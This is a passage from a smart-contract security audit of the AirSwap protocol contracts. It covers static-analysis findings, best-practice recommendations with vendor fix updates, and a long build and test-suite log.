•wethContract.transfer()L144: •wethContract.transferFrom()L151: •msg.sender.call.value(order.signer.param)("");We recommend wrapping the first two calls with , and checking the success of the . require call.value() 1. In, Slither detects that L349: is a dangerous equality, as discussed above. We recommend removing this require-statement. Swap.solrequire(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); 2. In, Slither warns that the ERC20 specification is not strictly adhered, since the boolean return values of and have been removed. We recommend using the IERC20 interface without modification. As a result, we further recommend wrapping the call on L346 of with a require-statement. INERC20.soltransfer() transferFrom() Swap.sol Fluidity has addressed all concerns related to these findings. Update: Adherence to Specification The code adheres to the provided specification. Code Documentation The code is well documented and properly commented. Adherence to Best Practices The code generally adheres to best practices. We note the following minor issues/questions: It is not clear why the files are needed. Can these be removed? • Update: confirmed that these are necessary for testing.Imports.sol Both and could inherit from the standard OpenZeppelin smart contract. •Update: fixed through the removal of pausing functionality.Indexer.sol Wrapper.sol Pausable The view function may incorrectly return true if the low-order 20 bits correspond to a deployed address and any of the higher order 12 bits are non-zero. We recommend returning false if any of these higher-order bits are set to one. •DelegateFactory.has() On L52 of , we have that , as computed by the following expression: . However, this computation does not include all functions in the functions, namely and . It may be better to include these in the hash computation as this would be the more standard interface, and presumably the one that a token would publish to indicate it is ERC20-compliant. •Update: fixed.Delegate.sol ERC20_INTERFACE_ID = 0x277f8169 bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('allowance(address,address)')) ERC20 approve(address, uint256) totalSupply() ERC20 It is not clear how users or the web interface will utilize , however if the user sets too large of values in , it can cause SafeMath to revert when invoking . It may be useful to add when invoking in order to ensure that overflow/underflow will not cause SafeMath to revert. •Delegate.getMaxQuote() setRule() getMaxQuote() require(getMaxQuote(...) > 0) setRule() In , it may be best to check that is either or . With the current setup, the else-branch may accept orders that do not have a correct value. •Update: confirmed as expected behavior to default to ERC20 unless ERC721 is detected.Swap.transferToken() kind ERC721_INTERFACE_ID ERC20_INTERFACE_ID kind On L52 of , it appears that could simply map to a instead of a . • Swap.sol signerNonceStatus bool byte In and these functions may emit an or event, even if the entries already exist in the mapping. It may be better to first check if the corresponding mapping entries already exist in these functions. Similarly, the and functions may emit events, even if the entry did not previously exist in the mapping. •Update: fixed.Swap.authorizeSender() Swap.authorizeSigner() AuthorizeSender AuthorizeSigner revokeSender() revokeSigner() In , consider adding two helper functions for computing price constraints as opposed to duplication on lines L234, L291, L323, L356. •Update: fixed.Delegate.sol In , in the comment on L138, should be . • Update: fixed.Delegate.sol senderToken signerToken The function name is not very clear: invalidate(50) seems like it should invalidate the order with nonce 50, but it only invalidates up to 49. Consider alternative names such as "invalidateBefore". •Update: fixed.Swap.invalidate() It is possible to first then later. This makes it possible to make orders be valid again after they have been canceled in the first place. If this is not an intended behavior, to prevent unexpected consequence, we •Update: confirmed as expected behavior.invalidate(50) invalidate(30) suggest adding a check that thebe larger than . • minimumNonce signerMinimumNonce[msg.sender] Test Results Test Suite Results yarn test yarn run v1.19.2 $ yarn clean && yarn compile && lerna run test --concurrency=1 $ lerna run clean lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run clean" lerna info run Ran npm script 'clean' in '@airswap/tokens' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/transfers' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/types' in 0.2s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/indexer' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/swap' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/deployer' in 0.3s: $ rm -rf ./build && rm -rf ./flatten lerna info run Ran npm script 'clean' in '@airswap/delegate' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/pre-swap-checker' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/wrapper' in 0.3s: $ rm -rf ./build lerna success run Ran npm script 'clean' in 9 packages in 1.3s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker $ lerna run compile lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run compile" lerna info run Ran npm script 'compile' in '@airswap/tokens' in 10.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/AdaptedERC721.sol > Compiling ./contracts/AdaptedKittyERC721.sol > Compiling ./contracts/ERC1155.sol > Compiling ./contracts/FungibleToken.sol > Compiling ./contracts/IERC721Receiver.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/MintableERC1155Token.sol > Compiling ./contracts/NonFungibleToken.sol > Compiling ./contracts/OMGToken.sol > Compiling ./contracts/OrderTest721.sol > Compiling ./contracts/WETH9.sol > Compiling ./contracts/interfaces/IERC1155.sol > Compiling ./contracts/interfaces/IERC1155Receiver.sol > Compiling ./contracts/interfaces/IWETH.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/tokens/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/types' in 10.8s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Types.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol> Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/types/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/transfers' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/TransferHandlerRegistry.sol > Compiling ./contracts/handlers/ERC1155TransferHandler.sol > Compiling ./contracts/handlers/ERC20TransferHandler.sol > Compiling ./contracts/handlers/ERC721TransferHandler.sol > Compiling ./contracts/handlers/KittyCoreTransferHandler.sol > Compiling ./contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling ./contracts/interfaces/ITransferHandler.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/transfers/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/deployer' in 4.3s: $ truffle compile Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. lerna info run Ran npm script 'compile' in '@airswap/indexer' in 13.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Index.sol > Compiling ./contracts/Indexer.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/DelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimentalfeatures on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/indexer/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/swap' in 14.1s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Swap.sol > Compiling ./contracts/interfaces/ISwap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC1155TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC721TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/KittyCoreTransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/swap/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/pre-swap-checker' in 11.7s: $ truffle compile Compiling your contracts...=========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/PreSwapChecker.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/contracts/PreSwapChecker.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/delegate' in 13.0s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Delegate.sol > Compiling ./contracts/DelegateFactory.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IDelegate.sol > Compiling ./contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/Delegate.sol:18:1: Warning: Experimentalfeatures are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/delegate/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/wrapper' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/HelperMock.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Wrapper.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/WETH9.sol > Compiling @airswap/tokens/contracts/interfaces/IWETH.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/Wrapper.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/HelperMock.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/wrapper/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna success run Ran npm script 'compile' in 9 packages in 62.4s:lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run test" lerna info run Ran npm script 'test' in '@airswap/order-utils' in 1.4s: $ mocha test Orders ✓ Checks that a generated order is valid Signatures ✓ Checks that a Version 0x45: personalSign signature is valid ✓ Checks that a Version 0x01: signTypedData signature is valid 3 passing (27ms) lerna info run Ran npm script 'test' in '@airswap/transfers' in 10.1s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: TransferHandlerRegistry Unit Tests Test fetching non-existent handler ✓ test fetching non-existent handler, returns null address Test adding handler to registry ✓ test adding, should pass (87ms) Test adding an existing handler from registry will fail ✓ test adding an existing handler will fail (119ms) Contract: TransferHandlerRegistry Deploying... ✓ Deployed TransferHandlerRegistry contract (56ms) ✓ Deployed test contract "AST" (55ms) ✓ Deployed test contract "MintableERC1155Token" (71ms) ✓ Test adding transferHandler by non-owner reverts (46ms) ✓ Set up TokenRegistry (561ms) Minting ERC20 tokens (AST)... ✓ Mints 1000 AST for Alice (67ms) Approving ERC20 tokens (AST)... ✓ Checks approvals (Alice 250 AST (62ms) ERC20 TransferHandler ✓ Checks balances and allowances for Alice and Bob... (99ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (136ms) ✓ Checks remaining balances and approvals were not updated in failed transfer (86ms) ✓ Adding an id with ERC20TransferHandler will cause revert (51ms) ERC721 and CKitty TransferHandler ✓ Deployed test ERC721 contract "ConcertTicket" (70ms) ✓ Deployed test contract "CKITTY" (51ms) ✓ Carol initiates an ERC721 transfer of ConcertTicket #121 tokens from Alice to Bob (224ms) ✓ Carol fails to perform transfer of ConcertTicket #121 from Bob to Alice when an amount is set (103ms) ✓ Mints a kitty collectible (#54321) for Bob (78ms) ✓ Bob approves KittyCoreHandler to transfer his kitty collectible (47ms) ✓ Carol fails to perform transfer of CKITTY collectable #54321 from Bob to Alice when an amount is set (79ms) ✓ Carol initiates a transfer of CKITTY collectable #54321 from Bob to Alice (72ms) ERC1155 TransferHandler ✓ Mints 100 of Dragon game token (#10) for Alice (65ms) ✓ Check the Dragon game token (#10) balance prior to transfer (39ms) ✓ Alice approves ERC115TransferHandler to transfer all the her ERC1155 tokens (38ms) ✓ Carol initiates an ERC1155 transfer of Dragon game token (#10) from Alice to Bob (107ms) 26 passing (4s) lerna info run Ran npm script 'test' in '@airswap/types' in 9.2s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./test/MockTypes.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/types/test/MockTypes.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Types Unit TestsTest hashing functions within the library ✓ Test hashOrder (163ms) ✓ Test hashDomain (56ms) 2 passing (2s) lerna info run Ran npm script 'test' in '@airswap/indexer' in 26.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol Contract: Index Unit Tests Test constructor ✓ should setup the linked locators as just a head, length 0 (48ms) Test setLocator ✓ should not allow a non owner to call setLocator (91ms) ✓ should not allow a blank locator to be set (49ms) ✓ should allow 